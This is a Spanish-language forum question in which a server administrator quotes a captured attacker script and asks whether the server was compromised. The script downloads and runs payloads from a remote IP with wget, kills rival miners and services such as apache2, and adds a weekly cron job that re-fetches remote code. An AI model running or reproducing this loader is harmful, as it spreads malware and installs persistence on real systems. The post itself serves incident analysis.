He interceptado un ataque en mi servidor web que creo que no tuvo éxito. El atacante intentó ejecutar este script:
#!/bin/sh
cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd cla qt64 qt32 clover cron sh wget
kill -9 'pidof .rnd'
kill -9 'pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w'
kill -9 'pidof dev'
kill -9 'pidof perl'
kill -9 'pidof m32'
kill -9 'pidof m64'
kill -9 'pidof ka'
kill -9 'pidof kav'
kill -9 'pidof cla'
kill -9 'pidof sh'
kill -9 'pidof sucrack'
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron
Puedo ver que obtiene otros tres scripts sh de wget, los ejecuta, los elimina (posiblemente con fines de seguimiento), elimina algunos procesos, configura un cron para que se ejecute semanalmente y luego lo elimina (?!).
Como podemos ver, mata a Apache y sh a sí mismo. Es raro ya que si Apache y Sh se matan, el ataque ya no funcionará, ¿verdad?
Tengo razones para creer que esta carga útil nunca se ejecutó realmente, porque:
- El ataque se intentó con las solicitudes GET. Debido a Apache mod_rewrite, todo lo que obtuvo fue un 404.
- El atacante intentaba explotar una vulnerabilidad de backend de PHP, que no se aplica a mí.
¿Todo eso significa que todavía estoy seguro? Creo que hacer un crontab -l
comprueba si mi servidor está comprometido. La salida fue:
ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root